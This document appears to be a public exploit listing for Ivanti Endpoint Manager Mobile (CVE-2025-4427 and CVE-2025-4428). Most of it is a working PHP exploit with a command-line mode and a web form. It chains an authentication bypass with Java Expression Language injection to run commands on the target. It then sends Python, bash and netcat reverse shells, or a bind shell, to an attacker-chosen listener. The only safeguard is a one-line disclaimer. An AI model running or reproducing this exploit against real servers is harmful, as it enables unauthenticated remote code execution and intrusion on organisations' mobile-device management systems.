Share
## https://sploitus.com/exploit?id=PACKETSTORM:212937
=============================================================================================================================================
| # Title : Ivanti Endpoint Manager Mobile 12.5.0.0 Expression Language Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://www.ivanti.com/products/endpoint-manager-mobile |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/200146/ & CVE-2025-4427, CVE-2025-4428
[+] Summary :
The exploit targets two critical vulnerabilities in Ivanti EPMM:
CVE-2025-4427 - Authentication Bypass
CVE-2025-4428 - Expression Language Injection
The vulnerability chain allows unauthenticated attackers to execute arbitrary commands
on the target system through Java Expression Language (EL) injection in the /mifs/rs/api/v2/featureusage endpoint.
[+] Exploitation Mechanism
Endpoint Discovery: The exploit targets /mifs/rs/api/v2/featureusage
Payload Injection: Uses Java EL injection via the format parameter
Command Execution: Leverages Java runtime reflection to execute system commands
Result Extraction: Uses Java Scanner class to read command output
[+] POC :
php poc.php or http://127.0.0.1/poc.php
php poc.php -t target.com -c
php poc.php -t 192.168.1.100 -P command
php poc.php -t target.com -P reverse_shell -H YOUR_IP -L 4444
<?php
/*
* by indoushka
* CVE-2025-4427, CVE-2025-4428 - Ivanti EPMM RCE Exploit
*/
class IvantiEPMMExploit {
private $target;
private $port;
private $ssl;
private $base_path;
private $timeout;
public function __construct($target, $port = 443, $ssl = true, $base_path = '/') {
$this->target = $target;
$this->port = $port;
$this->ssl = $ssl;
$this->base_path = rtrim($base_path, '/');
$this->timeout = 30;
}
/**
* Vulnerability check
*/
public function check() {
echo "[*] Checking Ivanti EPMM vulnerability...\n";
$command = 'id';
$response = $this->execute_command($command);
if (!$response) {
echo "[-] Failed to get response from target\n";
return "unknown";
}
if (strpos($response, 'uid=') !== false && strpos($response, 'gid=') !== false) {
echo "[+] โ Target is vulnerable!\n";
return "vulnerable";
} else {
echo "[-] โ Target is not vulnerable\n";
return "safe";
}
}
/**
* Execute remote command
*/
private function execute_command($command) {
// Build Expression Language Injection payload
$payload = $this->build_el_payload($command);
$url = $this->build_url('/mifs/rs/api/v2/featureusage');
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url . '?format=' . urlencode($payload),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => $this->timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[*] HTTP Status: $http_code\n";
return $response;
}
/**
* Build Expression Language Injection payload
*/
private function build_el_payload($command) {
// Java Expression Language Injection for command execution
$payload = "\${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('{$command}').getInputStream()).useDelimiter('\\\\\\\\A').next()}";
return $payload;
}
/**
* Main exploit execution
*/
public function exploit($payload_type = 'reverse_shell', $lhost = null, $lport = null) {
echo "[*] Starting Ivanti EPMM exploitation...\n";
// Create payload based on type
$payload_cmd = $this->generate_payload($payload_type, $lhost, $lport);
if (!$payload_cmd) {
echo "[-] Failed to generate payload\n";
return false;
}
echo "[*] Executing payload...\n";
$response = $this->execute_command($payload_cmd);
if ($response) {
echo "[+] โ Payload sent successfully\n";
echo "[*] Check your reverse connection\n";
return true;
} else {
echo "[-] โ Failed to execute payload\n";
return false;
}
}
/**
* Generate different payloads
*/
private function generate_payload($type, $lhost, $lport) {
switch ($type) {
case 'reverse_shell':
if (!$lhost || !$lport) {
echo "[-] IP and port required for reverse shell\n";
return false;
}
return $this->generate_reverse_shell($lhost, $lport);
case 'bind_shell':
if (!$lport) {
echo "[-] Port required for bind shell\n";
return false;
}
return $this->generate_bind_shell($lport);
case 'command':
return 'id; whoami; uname -a; pwd';
default:
return 'id; whoami';
}
}
/**
* Generate reverse shell
*/
private function generate_reverse_shell($lhost, $lport) {
// Multiple reverse shells
$shells = [
// Python reverse shell
"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{$lhost}\",{$lport}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'",
// Bash reverse shell
"bash -c 'bash -i >& /dev/tcp/{$lhost}/{$lport} 0>&1'",
// Netcat reverse shell
"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {$lhost} {$lport} >/tmp/f"
];
return $shells[0]; // Use Python as default
}
/**
* Generate bind shell
*/
private function generate_bind_shell($lport) {
return "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind((\"0.0.0.0\",{$lport}));s.listen(1);conn,addr=s.accept();os.dup2(conn.fileno(),0); os.dup2(conn.fileno(),1); os.dup2(conn.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'";
}
/**
* Build full URL
*/
private function build_url($path) {
$protocol = $this->ssl ? 'https' : 'http';
$full_path = $this->base_path . $path;
return "{$protocol}://{$this->target}:{$this->port}{$full_path}";
}
}
// CLI Interface
if (php_sapi_name() === 'cli') {
echo "
โโโโโโ โโโ โโโโโโ โโโโ โโโโโโโโโโโโโโโ
โโโโโโ โโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโ
โโโโโโ โโโโโโโโโโโโโโโโโ โโโ โโโ โโโ
โโโโโโโ โโโโโโโโโโโโโโโโโโโโโโ โโโ โโโ
โโโ โโโโโโโ โโโ โโโโโโ โโโโโโ โโโ โโโ
โโโ โโโโโ โโโ โโโโโโ โโโโโ โโโ โโโ
Ivanti EPMM RCE ExploitPHP Implementation
\n";
$options = getopt("t:p:s:u:c:P:L:H:", [
"target:",
"port:",
"ssl",
"uri:",
"check",
"payload:",
"lhost:",
"lport:"
]);
$target = $options['t'] ?? $options['target'] ?? null;
$port = $options['p'] ?? $options['port'] ?? 443;
$ssl = isset($options['s']) || isset($options['ssl']);
$base_uri = $options['u'] ?? $options['uri'] ?? '/';
$check_only = isset($options['c']) || isset($options['check']);
$payload_type = $options['P'] ?? $options['payload'] ?? 'command';
$lhost = $options['H'] ?? $options['lhost'] ?? null;
$lport = $options['L'] ?? $options['lport'] ?? 4444;
if (!$target) {
echo "Usage: php poc.php [options]\n";
echo "Options:\n";
echo " -t, --target Target host (required)\n";
echo " -p, --port Target port (default: 443)\n";
echo " -s, --ssl Use SSL (default: true)\n";
echo " -u, --uri Base URI path (default: /)\n";
echo " -c, --check Check only (don't exploit)\n";
echo " -P, --payload Payload type: command, reverse_shell, bind_shell (default: command)\n";
echo " -H, --lhost Listener host for reverse shell\n";
echo " -L, --lport Listener port for reverse shell (default: 4444)\n";
echo "\nExamples:\n";
echo " php poc.php -t 192.168.1.100 -c\n";
echo " php poc.php -t target.com -P reverse_shell -H 10.0.0.5 -L 4444\n";
exit(1);
}
$exploit = new IvantiEPMMExploit($target, $port, $ssl, $base_uri);
if ($check_only) {
$result = $exploit->check();
echo "\n[*] Result: {$result}\n";
} else {
if ($exploit->exploit($payload_type, $lhost, $lport)) {
echo "[+] Exploitation completed successfully\n";
} else {
echo "[-] Exploitation failed\n";
}
}
} else {
// Web Interface - FIXED VERSION
// Check if form was submitted
$action = $_POST['action'] ?? '';
if ($action === 'check' || $action === 'exploit') {
$target = $_POST['target'] ?? '';
$port = $_POST['port'] ?? 443;
$ssl = isset($_POST['ssl']);
$base_uri = $_POST['uri'] ?? '/';
$payload_type = $_POST['payload_type'] ?? 'command';
$lhost = $_POST['lhost'] ?? '';
$lport = $_POST['lport'] ?? 4444;
if (empty($target)) {
echo "<div style='color: red; padding: 10px; border: 1px solid red; margin: 10px;'>Target host is required</div>";
} else {
$exploit = new IvantiEPMMExploit($target, $port, $ssl, $base_uri);
ob_start();
if ($action === 'check') {
$exploit->check();
} else {
$exploit->exploit($payload_type, $lhost, $lport);
}
$output = ob_get_clean();
echo "<pre style='background: #f4f4f4; padding: 15px; border: 1px solid #ddd; border-radius: 4px;'>$output</pre>";
}
// Show the form again after execution
echo '<a href="'.htmlspecialchars($_SERVER['PHP_SELF']).'" style="display: inline-block; padding: 10px 20px; background: #007cba; color: white; text-decoration: none; border-radius: 4px; margin: 10px 0;">Back to Form</a>';
} else {
// Display the form
echo '<!DOCTYPE html>
<html>
<head>
<title>Ivanti EPMM RCE Exploit</title>
<meta charset="UTF-8">
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 20px;
background: #f5f5f5;
}
.container {
max-width: 800px;
margin: 0 auto;
background: white;
padding: 30px;
border-radius: 8px;
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
}
h1 {
color: #333;
border-bottom: 2px solid #007cba;
padding-bottom: 10px;
}
h3 {
color: #666;
}
.form-group {
margin-bottom: 20px;
}
label {
display: block;
margin-bottom: 8px;
font-weight: bold;
color: #333;
}
input[type="text"], select {
width: 100%;
padding: 10px;
border: 1px solid #ddd;
border-radius: 4px;
box-sizing: border-box;
font-size: 14px;
}
.checkbox-group {
display: flex;
align-items: center;
gap: 10px;
}
button {
background: #007cba;
color: white;
padding: 12px 25px;
border: none;
border-radius: 4px;
cursor: pointer;
margin-right: 10px;
font-size: 16px;
transition: background 0.3s;
}
button:hover {
background: #005a87;
}
.danger {
background: #dc3545;
}
.danger:hover {
background: #c82333;
}
.info {
background: #17a2b8;
}
.info:hover {
background: #138496;
}
.warning-box {
background: #fff3cd;
border: 1px solid #ffeaa7;
color: #856404;
padding: 15px;
border-radius: 4px;
margin: 20px 0;
}
.info-box {
background: #d1ecf1;
border: 1px solid #bee5eb;
color: #0c5460;
padding: 15px;
border-radius: 4px;
margin: 20px 0;
}
</style>
</head>
<body>
<div class="container">
<h1>Ivanti EPMM RCE Exploit</h1>
<h3>CVE-2025-4427 & CVE-2025-4428 - Authentication Bypass & RCE</h3>
<div class="warning-box">
<strong>โ ๏ธ Warning:</strong> This tool is for educational and authorized penetration testing purposes only. Unauthorized use is illegal.
</div>
<form method="post">
<div class="form-group">
<label for="target">Target Host:</label>
<input type="text" id="target" name="target" placeholder="192.168.1.100 or target.com" required>
</div>
<div class="form-group">
<label for="port">Port:</label>
<input type="text" id="port" name="port" value="443">
</div>
<div class="form-group">
<label for="uri">Base URI:</label>
<input type="text" id="uri" name="uri" value="/">
</div>
<div class="form-group">
<div class="checkbox-group">
<input type="checkbox" id="ssl" name="ssl" checked>
<label for="ssl" style="display: inline; font-weight: normal;">Use SSL</label>
</div>
</div>
<div class="form-group">
<label for="payload_type">Payload Type:</label>
<select id="payload_type" name="payload_type">
<option value="command">Test Command (id; whoami)</option>
<option value="reverse_shell">Reverse Shell</option>
<option value="bind_shell">Bind Shell</option>
</select>
</div>
<div class="form-group">
<label for="lhost">Listener Host (for reverse shell):</label>
<input type="text" id="lhost" name="lhost" placeholder="Your IP address: 192.168.1.100">
</div>
<div class="form-group">
<label for="lport">Listener Port (for reverse shell):</label>
<input type="text" id="lport" name="lport" value="4444">
</div>
<button type="submit" name="action" value="check" class="info">Check Vulnerability</button>
<button type="submit" name="action" value="exploit" class="danger">Execute Exploit</button>
</form>
<div class="info-box">
<h3>About CVE-2025-4427 & CVE-2025-4428:</h3>
<p><strong>Vulnerability:</strong> Authentication Bypass + Expression Language Injection</p>
<p><strong>Affected Products:</strong> Ivanti EPMM, MobileIron Core</p>
<p><strong>Impact:</strong> Unauthenticated Remote Code Execution</p>
<p><strong>Endpoint:</strong> /mifs/rs/api/v2/featureusage</p>
<p><strong>CVSS Score:</strong> 9.8 (Critical)</p>
</div>
</div>
</body>
</html>';
}
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================